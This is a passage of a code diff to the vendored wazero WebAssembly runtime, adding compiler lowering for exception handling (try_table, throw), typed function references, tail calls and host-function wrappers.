+ if !blk.Sealed() { + builder.Seal(blk) + } + } + } else { + // No catch clauses — try_table acts as a plain block. + // Jump directly to body without entering exception handling. + c.insertJumpToBlock(ssa.ValuesNil, bodyBlk) + } + + if !bodyBlk.Sealed() { + builder.Seal(bodyBlk) + } + builder.SetCurrentBlock(bodyBlk) + if len(catchClauses) > 0 { + // Body block is entered after the trampoline call, so we need to reload. + c.reloadAfterCall() + } + + // Push the try_table control frame AFTER resolving catch labels. + state.ctrlPush(controlFrame{ + kind: controlFrameKindTryTable, + originalStackLenWithoutParam: len(state.values) - len(bt.Params), + followingBlock: followingBlk, + blockType: bt, + }) + + case wasm.OpcodeRefAsNonNull: + if state.unreachable { + break + } + r := state.pop() + zero := builder.AllocateInstruction().AsIconst64(0).Insert(builder) + checkNull := builder.AllocateInstruction(). + AsIcmp(r, zero.Return(), ssa.IntegerCmpCondEqual). + Insert(builder).Return() + exitIfNull := builder.AllocateInstruction() + exitIfNull.AsExitIfTrueWithCode(c.execCtxPtrValue, checkNull, wazevoapi.ExitCodeNullReference) + builder.InsertInstruction(exitIfNull) + state.push(r) + + case wasm.OpcodeBrOnNull: + labelIndex := c.readI32u() + if state.unreachable { + break + } + + r := state.pop() + zero := builder.AllocateInstruction().AsIconst64(0).Insert(builder) + isNull := builder.AllocateInstruction(). + AsIcmp(r, zero.Return(), ssa.IntegerCmpCondEqual). + Insert(builder).Return() + + targetBlk, argNum := state.brTargetArgNumFor(labelIndex) + args := c.nPeekDup(argNum) + var sealTargetBlk bool + + if c.branchExitsTryTable(int(labelIndex)) { + current := builder.CurrentBlock() + trampolineBlk := builder.AllocateBasicBlock() + builder.SetCurrentBlock(trampolineBlk) + c.emitTryTableLeaves(int(labelIndex)) + c.insertJumpToBlock(args, targetBlk) + builder.SetCurrentBlock(current) + targetBlk = trampolineBlk + sealTargetBlk = true + args = ssa.ValuesNil + } + + if c.needListener && targetBlk.ReturnBlock() { + current := builder.CurrentBlock() + targetBlk = builder.AllocateBasicBlock() + builder.SetCurrentBlock(targetBlk) + sealTargetBlk = true + c.callListenerAfter() + instr := builder.AllocateInstruction() + instr.AsReturn(args) + builder.InsertInstruction(instr) + args = ssa.ValuesNil + builder.SetCurrentBlock(current) + } + + brnz := builder.AllocateInstruction() + brnz.AsBrnz(isNull, args, targetBlk) + builder.InsertInstruction(brnz) + + if sealTargetBlk { + builder.Seal(targetBlk) + } + + // Fall-through: ref is non-null, push it back. + elseBlk := builder.AllocateBasicBlock() + c.insertJumpToBlock(ssa.ValuesNil, elseBlk) + builder.Seal(elseBlk) + builder.SetCurrentBlock(elseBlk) + state.push(r) + + case wasm.OpcodeBrOnNonNull: + labelIndex := c.readI32u() + if state.unreachable { + break + } + + r := state.pop() + zero := builder.AllocateInstruction().AsIconst64(0).Insert(builder) + isNonNull := builder.AllocateInstruction(). + AsIcmp(r, zero.Return(), ssa.IntegerCmpCondNotEqual). + Insert(builder).Return() + + // When non-null, branch to label with args + the non-null ref. + targetBlk, argNum := state.brTargetArgNumFor(labelIndex) + // The branch delivers argNum-1 values from the stack plus the ref. + // The ref is the last value delivered to the label target. + args := c.nPeekDup(argNum - 1) + args = args.Append(builder.VarLengthPool(), r) + var sealTargetBlk bool + + if c.branchExitsTryTable(int(labelIndex)) { + current := builder.CurrentBlock() + trampolineBlk := builder.AllocateBasicBlock() + builder.SetCurrentBlock(trampolineBlk) + c.emitTryTableLeaves(int(labelIndex)) + c.insertJumpToBlock(args, targetBlk) + builder.SetCurrentBlock(current) + targetBlk = trampolineBlk + sealTargetBlk = true + args = ssa.ValuesNil + } + + if c.needListener && targetBlk.ReturnBlock() { + current := builder.CurrentBlock() + targetBlk = builder.AllocateBasicBlock() + builder.SetCurrentBlock(targetBlk) + sealTargetBlk = true + c.callListenerAfter() + instr := builder.AllocateInstruction() + instr.AsReturn(args) + builder.InsertInstruction(instr) + args = ssa.ValuesNil + builder.SetCurrentBlock(current) + } + + brnz := builder.AllocateInstruction() + brnz.AsBrnz(isNonNull, args, targetBlk) + builder.InsertInstruction(brnz) + + if sealTargetBlk { + builder.Seal(targetBlk) + } + + // Fall-through: ref is null, nothing extra pushed. + elseBlk := builder.AllocateBasicBlock() + c.insertJumpToBlock(ssa.ValuesNil, elseBlk) + builder.Seal(elseBlk) + builder.SetCurrentBlock(elseBlk) + + case wasm.OpcodeCallRef: + typeIndex := c.readI32u() + if state.unreachable { + break + } + c.lowerCallRef(typeIndex) + + case wasm.OpcodeReturnCallRef: + typeIndex := c.readI32u() + if state.unreachable { + break + } + c.emitTryTableLeaves(len(c.state().controlFrames)) + c.lowerTailCallReturnCallRef(typeIndex) + state.unreachable = true + default: panic("TODO: unsupported in wazevo yet: " + wasm.InstructionName(op)) } @@ -3473,6 +3844,14 @@ func (c *Compiler) lowerCurrentOpcode() { c.loweringState.pc++ } +func (c *Compiler) lowerReturn(builder ssa.Builder) { + results := c.nPeekDup(c.results()) + instr := builder.AllocateInstruction() + + instr.AsReturn(results) + builder.InsertInstruction(instr) +} + func (c *Compiler) lowerExtMul(v1, v2 ssa.Value, from, to ssa.VecLane, signed, low bool) ssa.Value { // TODO: The sequence `Widen; Widen; VIMul` can be substituted for a single instruction on some ISAs. builder := c.ssaBuilder @@ -3533,7 +3912,83 @@ func (c *Compiler) lowerAccessTableWithBoundsCheck(tableIndex uint32, elementOff return calcElementAddressInTable.Return() } -func (c *Compiler) lowerCallIndirect(typeIndex, tableIndex uint32) { +func (c *Compiler) prepareCall(fnIndex uint32) (isIndirect bool, sig *ssa.Signature, args ssa.Values, funcRefOrPtrValue uint64) { + builder := c.ssaBuilder + state := c.state() + var typIndex wasm.Index + if fnIndex < c.m.ImportFunctionCount { + // Before transfer the control to the callee, we have to store the current module's moduleContextPtr + // into execContext.callerModuleContextPtr in case when the callee is a Go function. + c.storeCallerModuleContext() + var fi int + for i := range c.m.ImportSection { + imp := &c.m.ImportSection[i] + if imp.Type == wasm.ExternTypeFunc { + if fi == int(fnIndex) { + typIndex = imp.DescFunc + break + } + fi++ + } + } + } else { + typIndex = c.m.FunctionSection[fnIndex-c.m.ImportFunctionCount] + } + typ := &c.m.TypeSection[typIndex] + + argN := len(typ.Params) + tail := len(state.values) - argN + vs := state.values[tail:] + state.values = state.values[:tail] + args = c.allocateVarLengthValues(2+len(vs), c.execCtxPtrValue) + + sig = c.signatures[typ] + if fnIndex >= c.m.ImportFunctionCount { + args = args.Append(builder.VarLengthPool(), c.moduleCtxPtrValue) // This case the callee module is itself. + args = args.Append(builder.VarLengthPool(), vs...) + return false, sig, args, uint64(FunctionIndexToFuncRef(fnIndex)) + } else { + // This case we have to read the address of the imported function from the module context. + moduleCtx := c.moduleCtxPtrValue + loadFuncPtr, loadModuleCtxPtr := builder.AllocateInstruction(), builder.AllocateInstruction() + funcPtrOffset, moduleCtxPtrOffset, _ := c.offset.ImportedFunctionOffset(fnIndex) + loadFuncPtr.AsLoad(moduleCtx, funcPtrOffset.U32(), ssa.TypeI64) + loadModuleCtxPtr.AsLoad(moduleCtx, moduleCtxPtrOffset.U32(), ssa.TypeI64) + builder.InsertInstruction(loadFuncPtr) + builder.InsertInstruction(loadModuleCtxPtr) + + args = args.Append(builder.VarLengthPool(), loadModuleCtxPtr.Return()) + args = args.Append(builder.VarLengthPool(), vs...) + + return true, sig, args, uint64(loadFuncPtr.Return()) + } +} + +func (c *Compiler) lowerCall(fnIndex uint32) { + builder := c.ssaBuilder + state := c.state() + isIndirect, sig, args, funcRefOrPtrValue := c.prepareCall(fnIndex) + + call := builder.AllocateInstruction() + if isIndirect { + call.AsCallIndirect(ssa.Value(funcRefOrPtrValue), sig, args) + } else { + call.AsCall(ssa.FuncRef(funcRefOrPtrValue), sig, args) + } + builder.InsertInstruction(call) + + first, rest := call.Returns() + if first.Valid() { + state.push(first) + } + for _, v := range rest { + state.push(v) + } + + c.reloadAfterCall() +} + +func (c *Compiler) prepareCallIndirect(typeIndex, tableIndex uint32) (ssa.Value, *wasm.FunctionType, ssa.Values) { builder := c.ssaBuilder state := c.state() @@ -3601,6 +4056,14 @@ func (c *Compiler) lowerCallIndirect(typeIndex, tableIndex uint32) { // into execContext.callerModuleContextPtr in case when the callee is a Go function. c.storeCallerModuleContext() + return executablePtr, typ, args +} + +func (c *Compiler) lowerCallIndirect(typeIndex, tableIndex uint32) { + builder := c.ssaBuilder + state := c.state() + executablePtr, typ, args := c.prepareCallIndirect(typeIndex, tableIndex) + call := builder.AllocateInstruction() call.AsCallIndirect(executablePtr, c.signatures[typ], args) builder.InsertInstruction(call) @@ -3616,6 +4079,147 @@ func (c *Compiler) lowerCallIndirect(typeIndex, tableIndex uint32) { c.reloadAfterCall() } +func (c *Compiler) lowerTailCallReturnCall(fnIndex uint32) { + isIndirect, sig, args, funcRefOrPtrValue := c.prepareCall(fnIndex) + builder := c.ssaBuilder + state := c.state() + + call := builder.AllocateInstruction() + if isIndirect { + call.AsTailCallReturnCallIndirect(ssa.Value(funcRefOrPtrValue), sig, args) + } else { + call.AsTailCallReturnCall(ssa.FuncRef(funcRefOrPtrValue), sig, args) + } + builder.InsertInstruction(call) + + // In a proper tail call, the following code is unreachable since execution + // transfers to the callee. However, sometimes the backend might need to fall back to + // a regular call, so we include return handling and let the backend delete it + // when redundant. + // For details, see internal/engine/RATIONALE.md + first, rest := call.Returns() + if first.Valid() { + state.push(first) + } + for _, v := range rest { + state.push(v) + } + + c.reloadAfterCall() + c.lowerReturn(builder) +} + +func (c *Compiler) lowerTailCallReturnCallIndirect(typeIndex, tableIndex uint32) { + builder := c.ssaBuilder + state := c.state() + executablePtr, typ, args := c.prepareCallIndirect(typeIndex, tableIndex) + + call := builder.AllocateInstruction() + call.AsTailCallReturnCallIndirect(executablePtr, c.signatures[typ], args) + builder.InsertInstruction(call) + + // In a proper tail call, the following code is unreachable since execution + // transfers to the callee. However, sometimes the backend might need to fall back to + // a regular call, so we include return handling and let the backend delete it + // when redundant. + // For details, see internal/engine/RATIONALE.md + first, rest := call.Returns() + if first.Valid() { + state.push(first) + } + for _, v := range rest { + state.push(v) + } + + c.reloadAfterCall() + c.lowerReturn(builder) +} + +func (c *Compiler) prepareCallRef(typeIndex uint32) (ssa.Value, *wasm.FunctionType, ssa.Values) { + builder := c.ssaBuilder + state := c.state() + + functionInstancePtr := state.pop() + + // Check if it is not the null pointer. + zero := builder.AllocateInstruction() + zero.AsIconst64(0) + builder.InsertInstruction(zero) + checkNull := builder.AllocateInstruction() + checkNull.AsIcmp(functionInstancePtr, zero.Return(), ssa.IntegerCmpCondEqual) + builder.InsertInstruction(checkNull) + exitIfNull := builder.AllocateInstruction() + exitIfNull.AsExitIfTrueWithCode(c.execCtxPtrValue, checkNull.Return(), wazevoapi.ExitCodeNullReference) + builder.InsertInstruction(exitIfNull) + + // Load the executable and moduleContextOpaquePtr from the function instance. + loadExecutablePtr := builder.AllocateInstruction() + loadExecutablePtr.AsLoad(functionInstancePtr, wazevoapi.FunctionInstanceExecutableOffset, ssa.TypeI64) + builder.InsertInstruction(loadExecutablePtr) + executablePtr := loadExecutablePtr.Return() + loadModuleContextOpaquePtr := builder.AllocateInstruction() + loadModuleContextOpaquePtr.AsLoad(functionInstancePtr, wazevoapi.FunctionInstanceModuleContextOpaquePtrOffset, ssa.TypeI64) + builder.InsertInstruction(loadModuleContextOpaquePtr) + moduleContextOpaquePtr := loadModuleContextOpaquePtr.Return() + + typ := &c.m.TypeSection[typeIndex] + tail := len(state.values) - len(typ.Params) + vs := state.values[tail:] + state.values = state.values[:tail] + args := c.allocateVarLengthValues(2+len(vs), c.execCtxPtrValue, moduleContextOpaquePtr) + args = args.Append(builder.VarLengthPool(), vs...) + + c.storeCallerModuleContext() + + return executablePtr, typ, args +} + +func (c *Compiler) lowerCallRef(typeIndex uint32) { + builder := c.ssaBuilder + state := c.state() + executablePtr, typ, args := c.prepareCallRef(typeIndex) + + call := builder.AllocateInstruction() + call.AsCallIndirect(executablePtr, c.signatures[typ], args) + builder.InsertInstruction(call) + + first, rest := call.Returns() + if first.Valid() { + state.push(first) + } + for _, v := range rest { + state.push(v) + } + + c.reloadAfterCall() +} + +func (c *Compiler) lowerTailCallReturnCallRef(typeIndex uint32) { + builder := c.ssaBuilder + state := c.state() + executablePtr, typ, args := c.prepareCallRef(typeIndex) + + call := builder.AllocateInstruction() + call.AsTailCallReturnCallIndirect(executablePtr, c.signatures[typ], args) + builder.InsertInstruction(call) + + // In a proper tail call, the following code is unreachable since execution + // transfers to the callee. However, sometimes the backend might need to fall back to + // a regular call, so we include return handling and let the backend delete it + // when redundant. + // For details, see internal/engine/RATIONALE.md + first, rest := call.Returns() + if first.Valid() { + state.push(first) + } + for _, v := range rest { + state.push(v) + } + + c.reloadAfterCall() + c.lowerReturn(builder) +} + // memOpSetup inserts the bounds check and calculates the address of the memory operation (loads/stores). func (c *Compiler) memOpSetup(baseAddr ssa.Value, constOffset, operationSizeInBytes uint64) (address ssa.Value) { address = ssa.ValueInvalid @@ -3927,6 +4531,185 @@ func (c *Compiler) storeCallerModuleContext() { builder.InsertInstruction(store) } +// resolveTagType returns the FunctionType for the tag at the given module-local index. +func (c *Compiler) resolveTagType(tagIndex uint32) *wasm.FunctionType { + if tagIndex < c.m.ImportTagCount { + cur := uint32(0) + for i := range c.m.ImportSection { + imp := &c.m.ImportSection[i] + if imp.Type != wasm.ExternTypeTag { + continue + } + if tagIndex == cur { + return &c.m.TypeSection[imp.DescTag] + } + cur++ + } + } else { + tagSectionIdx := tagIndex - c.m.ImportTagCount + if tagSectionIdx < uint32(len(c.m.TagSection)) { + typeIdx := c.m.TagSection[tagSectionIdx].Type + return &c.m.TypeSection[typeIdx] + } + } + return nil +} + +// emitThrow emits a call to the shared throw trampoline with the given exnref, +// followed by an unreachable exit (throw never returns). +func (c *Compiler) emitThrow(exnref ssa.Value) { + builder := c.ssaBuilder + throwPtr := builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetThrowTrampolineAddress.U32(), + ssa.TypeI64, + ).Insert(builder).Return() + throwArgs := c.allocateVarLengthValues(2, c.execCtxPtrValue, exnref) + builder.AllocateInstruction(). + AsCallIndirect(throwPtr, &c.throwSig, throwArgs). + Insert(builder) + + exit := builder.AllocateInstruction() + exit.AsExitWithCode(c.execCtxPtrValue, wazevoapi.ExitCodeUnreachable) + builder.InsertInstruction(exit) +} + +// emitTryTableLeave emits a trampoline call to pop the try handler in the dispatch loop. +func (c *Compiler) emitTryTableLeave() { + builder := c.ssaBuilder + c.storeCallerModuleContext() + + leavePtr := builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetTryTableLeaveTrampolineAddress.U32(), + ssa.TypeI64, + ).Insert(builder).Return() + + args := c.allocateVarLengthValues(1, c.execCtxPtrValue) + builder.AllocateInstruction(). + AsCallIndirect(leavePtr, &c.tryTableLeaveSig, args). + Insert(builder) +} + +// branchExitsTryTable returns true if a branch to the given depth would +// exit at least one try_table frame. +func (c *Compiler) branchExitsTryTable(depth int) bool { + state := c.state() + tail := len(state.controlFrames) - 1 + for i := 0; i < depth; i++ { + if state.controlFrames[tail-i].kind == controlFrameKindTryTable { + return true + } + } + return false +} + +// emitTryTableLeaves emits TryTableLeave calls for try_table frames +// that would be exited by a branch to the given depth. +func (c *Compiler) emitTryTableLeaves(depth int) { + state := c.state() + tail := len(state.controlFrames) - 1 + for i := 0; i < depth; i++ { + if state.controlFrames[tail-i].kind == controlFrameKindTryTable { + c.emitTryTableLeave() + } + } +} + +// catchClause holds a parsed catch clause from a try_table instruction. +type catchClause struct { + kind byte + tagIndex uint32 + labelIdx uint32 +} + +// loadExceptionParams loads the exception params from the caught Exception's +// Params slice. The dispatch loop sets execCtx.exceptionParamsPtr to the +// slice's backing-array pointer after matching a handler. We load that pointer +// and then read each param from [ptr + i*8], mirroring the stores emitted by +// the throw lowering. Float params were bitcast to integers at the throw site, +// so we load as integer and bitcast back to the original type. +func (c *Compiler) loadExceptionParams(tagType *wasm.FunctionType) []ssa.Value { + if len(tagType.Params) == 0 { + return nil + } + builder := c.ssaBuilder + + // Load the pointer to the caught Exception's Params backing array. + paramsPtr := builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetExceptionParamsPtr.U32(), + ssa.TypeI64, + ).Insert(builder).Return() + + var values []ssa.Value + for i, vt := range tagType.Params { + offset := uint32(i) * 8 + ssaType := WasmTypeToSSAType(vt) + switch ssaType { + case ssa.TypeF32: + // Stored as i32 at throw site; bitcast back to f32. + raw := builder.AllocateInstruction(). + AsLoad(paramsPtr, offset, ssa.TypeI32). + Insert(builder).Return() + val := builder.AllocateInstruction().AsBitcast(raw, ssa.TypeF32).Insert(builder).Return() + values = append(values, val) + case ssa.TypeF64: + // Stored as i64 at throw site; bitcast back to f64. + raw := builder.AllocateInstruction(). + AsLoad(paramsPtr, offset, ssa.TypeI64). + Insert(builder).Return() + val := builder.AllocateInstruction().AsBitcast(raw, ssa.TypeF64).Insert(builder).Return() + values = append(values, val) + default: + val := builder.AllocateInstruction(). + AsLoad(paramsPtr, offset, ssaType). + Insert(builder).Return() + values = append(values, val) + } + } + return values +} + +// loadExnRef loads the exnref (pointer to Exception) from the executionContext. +// The dispatch loop writes it to exceptionPtr after matching a handler. +func (c *Compiler) loadExnRef() ssa.Value { + builder := c.ssaBuilder + return builder.AllocateInstruction(). + AsLoad(c.execCtxPtrValue, + wazevoapi.ExecutionContextOffsetExceptionPtr.U32(), + ssa.TypeI64, + ).Insert(builder).Return() +} + +// skipTryTableCatchClauses advances the bytecode PC past the catch clauses +// of a try_table instruction. This is used both in reachable and unreachable states. +func (c *Compiler) skipTryTableCatchClauses() { + c.loweringState.pc++ + catchCount, catchNum, _ := leb128.LoadUint32(c.wasmFunctionBody[c.loweringState.pc:]) + c.loweringState.pc += int(catchNum) - 1 + for i := uint32(0); i < catchCount; i++ { + c.loweringState.pc++ + kind := c.wasmFunctionBody[c.loweringState.pc] + switch kind { + case wasm.CatchKindCatch, wasm.CatchKindCatchRef: + // Read tag index. + c.loweringState.pc++ + _, n, _ := leb128.LoadUint32(c.wasmFunctionBody[c.loweringState.pc:]) + c.loweringState.pc += int(n) - 1 + // Read label index. + c.loweringState.pc++ + _, n, _ = leb128.LoadUint32(c.wasmFunctionBody[c.loweringState.pc:]) + c.loweringState.pc += int(n) - 1 + case wasm.CatchKindCatchAll, wasm.CatchKindCatchAllRef: + // Read label index. + c.loweringState.pc++ + _, n, _ := leb128.LoadUint32(c.wasmFunctionBody[c.loweringState.pc:]) + c.loweringState.pc += int(n) - 1 + } + } +} + func (c *Compiler) readByte() byte { v := c.wasmFunctionBody[c.loweringState.pc+1] c.loweringState.pc++ @@ -4082,6 +4865,7 @@ func (c *Compiler) lowerBrTable(labels []uint32, index ssa.Value) { targetBlk, _ := state.brTargetArgNumFor(l) trampoline := builder.AllocateBasicBlock() builder.SetCurrentBlock(trampoline) + c.emitTryTableLeaves(int(l)) c.insertJumpToBlock(args, targetBlk) trampolineBlockIDs = trampolineBlockIDs.Append(builder.VarLengthPool(), ssa.Value(trampoline.ID())) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/module_engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/module_engine.go index 8811feed..e740c988 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/module_engine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/module_engine.go @@ -1,13 +1,17 @@ package wazevo import ( + "context" "encoding/binary" + "fmt" "unsafe" "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental" "github.com/tetratelabs/wazero/internal/engine/wazevo/wazevoapi" + "github.com/tetratelabs/wazero/internal/internalapi" "github.com/tetratelabs/wazero/internal/wasm" + "github.com/tetratelabs/wazero/internal/wasmdebug" "github.com/tetratelabs/wazero/internal/wasmruntime" ) @@ -132,6 +136,14 @@ func (m *moduleEngine) setupOpaque() { } } + if tagOffset := offsets.TagsBegin; tagOffset >= 0 { + for _, tag := range inst.Tags { + binary.LittleEndian.PutUint64(opaque[tagOffset:], + uint64(uintptr(unsafe.Pointer(tag)))) + tagOffset += 8 + } + } + if beforeListenerOffset := offsets.BeforeListenerTrampolines1stElement; beforeListenerOffset >= 0 { binary.LittleEndian.PutUint64(opaque[beforeListenerOffset:], uint64(uintptr(unsafe.Pointer(&m.parent.listenerBeforeTrampolines[0])))) } @@ -160,6 +172,21 @@ func (m *moduleEngine) NewFunction(index wasm.Index) api.Function { localIndex -= importedFnCount } + if source := m.module.Source; source.IsHostModule { + // For host modules, we need to look up the GoFunction from the CodeSection. + def := source.FunctionDefinition(localIndex) + goF := source.CodeSection[localIndex].GoFunc + switch typed := goF.(type) { + case api.GoFunction: + // GoFunction doesn't need looked up module. + return &hostFunction{def: def, g: goFunctionAsGoModuleFunction(typed)} + case api.GoModuleFunction: + return &hostFunction{def: def, lookedUpModule: m.module, g: typed} + default: + panic(fmt.Sprintf("unexpected GoFunc type: %T", goF)) + } + } + src := m.module.Source typIndex := src.FunctionSection[localIndex] typ := src.TypeSection[typIndex] @@ -174,20 +201,25 @@ func (m *moduleEngine) NewFunction(index wasm.Index) api.Function { indexInModule: index, executable: &p.executable[offset], parent: m, - preambleExecutable: &m.parent.entryPreambles[typIndex][0], + preambleExecutable: p.entryPreamblesPtrs[typIndex], sizeOfParamResultSlice: sizeOfParamResultSlice, requiredParams: typ.ParamNumInUint64, numberOfResults: typ.ResultNumInUint64, } - ce.execCtx.memoryGrowTrampolineAddress = &m.parent.sharedFunctions.memoryGrowExecutable[0] - ce.execCtx.stackGrowCallTrampolineAddress = &m.parent.sharedFunctions.stackGrowExecutable[0] - ce.execCtx.checkModuleExitCodeTrampolineAddress = &m.parent.sharedFunctions.checkModuleExitCode[0] - ce.execCtx.tableGrowTrampolineAddress = &m.parent.sharedFunctions.tableGrowExecutable[0] - ce.execCtx.refFuncTrampolineAddress = &m.parent.sharedFunctions.refFuncExecutable[0] - ce.execCtx.memoryWait32TrampolineAddress = &m.parent.sharedFunctions.memoryWait32Executable[0] - ce.execCtx.memoryWait64TrampolineAddress = &m.parent.sharedFunctions.memoryWait64Executable[0] - ce.execCtx.memoryNotifyTrampolineAddress = &m.parent.sharedFunctions.memoryNotifyExecutable[0] + sharedFunctions := p.sharedFunctions + ce.execCtx.memoryGrowTrampolineAddress = sharedFunctions.memoryGrowAddress + ce.execCtx.stackGrowCallTrampolineAddress = sharedFunctions.stackGrowAddress + ce.execCtx.checkModuleExitCodeTrampolineAddress = sharedFunctions.checkModuleExitCodeAddress + ce.execCtx.tableGrowTrampolineAddress = sharedFunctions.tableGrowAddress + ce.execCtx.refFuncTrampolineAddress = sharedFunctions.refFuncAddress + ce.execCtx.memoryWait32TrampolineAddress = sharedFunctions.memoryWait32Address + ce.execCtx.memoryWait64TrampolineAddress = sharedFunctions.memoryWait64Address + ce.execCtx.memoryNotifyTrampolineAddress = sharedFunctions.memoryNotifyAddress + ce.execCtx.throwAllocTrampolineAddress = sharedFunctions.throwAllocTrampolineAddress + ce.execCtx.throwTrampolineAddress = sharedFunctions.throwTrampolineAddress + ce.execCtx.tryTableEnterTrampolineAddress = sharedFunctions.tryTableEnterAddress + ce.execCtx.tryTableLeaveTrampolineAddress = sharedFunctions.tryTableLeaveAddress ce.execCtx.memmoveAddress = memmovPtr ce.init() return ce @@ -241,15 +273,13 @@ func (m *moduleEngine) ResolveImportedFunction(index, descFunc, indexInImportedM executableOffset, moduleCtxOffset, typeIDOffset := m.parent.offsets.ImportedFunctionOffset(index) importedME := importedModuleEngine.(*moduleEngine) - if int(indexInImportedModule) >= len(importedME.importedFunctions) { - indexInImportedModule -= wasm.Index(len(importedME.importedFunctions)) - } else { + if int(indexInImportedModule) < len(importedME.importedFunctions) { imported := &importedME.importedFunctions[indexInImportedModule] m.ResolveImportedFunction(index, descFunc, imported.indexInModule, imported.me) return // Recursively resolve the imported function. } - offset := importedME.parent.functionOffsets[indexInImportedModule] + offset := importedME.parent.functionOffsets[indexInImportedModule-wasm.Index(len(importedME.importedFunctions))] typeID := m.module.TypeIDs[descFunc] executable := &importedME.parent.executable[offset] // Write functionInstance. @@ -329,3 +359,45 @@ func (m *moduleEngine) LookupFunction(t *wasm.TableInstance, typeId wasm.Functio func moduleInstanceFromOpaquePtr(ptr *byte) *wasm.ModuleInstance { return *(**wasm.ModuleInstance)(unsafe.Pointer(ptr)) } + +type hostFunction struct { + internalapi.WazeroOnly + def *wasm.FunctionDefinition + lookedUpModule *wasm.ModuleInstance + g api.GoModuleFunction +} + +// goFunctionAsGoModuleFunction converts api.GoFunction to api.GoModuleFunction which ignores the api.Module argument. +func goFunctionAsGoModuleFunction(g api.GoFunction) api.GoModuleFunction { + return api.GoModuleFunc(func(ctx context.Context, _ api.Module, stack []uint64) { + g.Call(ctx, stack) + }) +} + +// Definition implements api.Function. +func (f *hostFunction) Definition() api.FunctionDefinition { return f.def } + +// Call implements api.Function. +func (f *hostFunction) Call(ctx context.Context, params ...uint64) ([]uint64, error) { + typ := f.def.Functype + stackSize := typ.ParamNumInUint64 + rn := typ.ResultNumInUint64 + if rn > stackSize { + stackSize = rn + } + stack := make([]uint64, stackSize) + copy(stack, params) + return stack[:rn], f.CallWithStack(ctx, stack) +} + +// CallWithStack implements api.Function. +func (f *hostFunction) CallWithStack(ctx context.Context, stack []uint64) (err error) { + defer func() { + if r := recover(); r != nil { + builder := wasmdebug.NewErrorBuilder() + err = builder.FromRecovered(r) + } + }() + f.g.Call(ctx, f.lookedUpModule, stack) + return nil +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/basic_block.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/basic_block.go index cf7f14d3..25bdccdf 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/basic_block.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/basic_block.go @@ -291,9 +291,9 @@ func (bb *basicBlock) addPred(blk BasicBlock, branch *Instruction) { for i := range bb.preds { existingPred := &bb.preds[i] if existingPred.blk == pred && existingPred.branch != branch { - // If the target is already added, then this must come from the same BrTable, + // If the target is already added, then this must come from the same BrTable or TryTableDispatch, // otherwise such redundant branch should be eliminated by the frontend. (which should be simpler). - panic(fmt.Sprintf("BUG: redundant non BrTable jumps in %s whose targes are the same", bb.Name())) + panic(fmt.Sprintf("BUG: redundant non BrTable/TryTableDispatch jumps in %s whose targets are the same", bb.Name())) } } @@ -344,19 +344,21 @@ func (bb *basicBlock) validate(b *builder) { } } - var exp int - if bb.ReturnBlock() { - exp = len(b.currentSignature.Results) - } else { - exp = len(bb.params.View()) - } + if pred.branch.opcode != OpcodeBrTable { + var exp int + if bb.ReturnBlock() { + exp = len(b.currentSignature.Results) + } else { + exp = len(bb.params.View()) + } - if len(pred.branch.vs.View()) != exp { - panic(fmt.Sprintf( - "BUG: len(argument at %s) != len(params at %s): %d != %d: %s", - pred.blk.Name(), bb.Name(), - len(pred.branch.vs.View()), len(bb.params.View()), pred.branch.Format(b), - )) + if len(pred.branch.vs.View()) != exp { + panic(fmt.Sprintf( + "BUG: len(argument at %s) != len(params at %s): %d != %d: %s", + pred.blk.Name(), bb.Name(), + len(pred.branch.vs.View()), len(bb.params.View()), pred.branch.Format(b), + )) + } } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/instructions.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/instructions.go index 9a3d1da6..7b37a8af 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/instructions.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/ssa/instructions.go @@ -633,6 +633,14 @@ const ( // OpcodeFence is a memory fence operation. OpcodeFence + // OpcodeTailCallReturnCall is the equivalent of OpcodeCall (a "near" call) + // for tail calls. Semantically, it combines Call + Return into a single operation. + OpcodeTailCallReturnCall + + // OpcodeTailCallReturnCallIndirect is the equivalent of OpcodeCallIndirect (a call to a function address) + // for tail calls. Semantically, it combines CallIndirect + Return into a single operation. + OpcodeTailCallReturnCallIndirect + // opcodeEnd marks the end of the opcode list. opcodeEnd ) @@ -679,12 +687,44 @@ func (op AtomicRmwOp) String() string { type returnTypesFn func(b *builder, instr *Instruction) (t1 Type, ts []Type) var ( - returnTypesFnNoReturns returnTypesFn = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return typeInvalid, nil } - returnTypesFnSingle = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return instr.typ, nil } - returnTypesFnI32 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return TypeI32, nil } - returnTypesFnF32 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return TypeF32, nil } - returnTypesFnF64 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return TypeF64, nil } - returnTypesFnV128 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return TypeV128, nil } + returnTypesFnNoReturns returnTypesFn = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return typeInvalid, nil } + returnTypesFnSingle = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return instr.typ, nil } + returnTypesFnI32 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return TypeI32, nil } + returnTypesFnF32 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return TypeF32, nil } + returnTypesFnF64 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return TypeF64, nil } + returnTypesFnV128 = func(b *builder, instr *Instruction) (t1 Type, ts []Type) { return 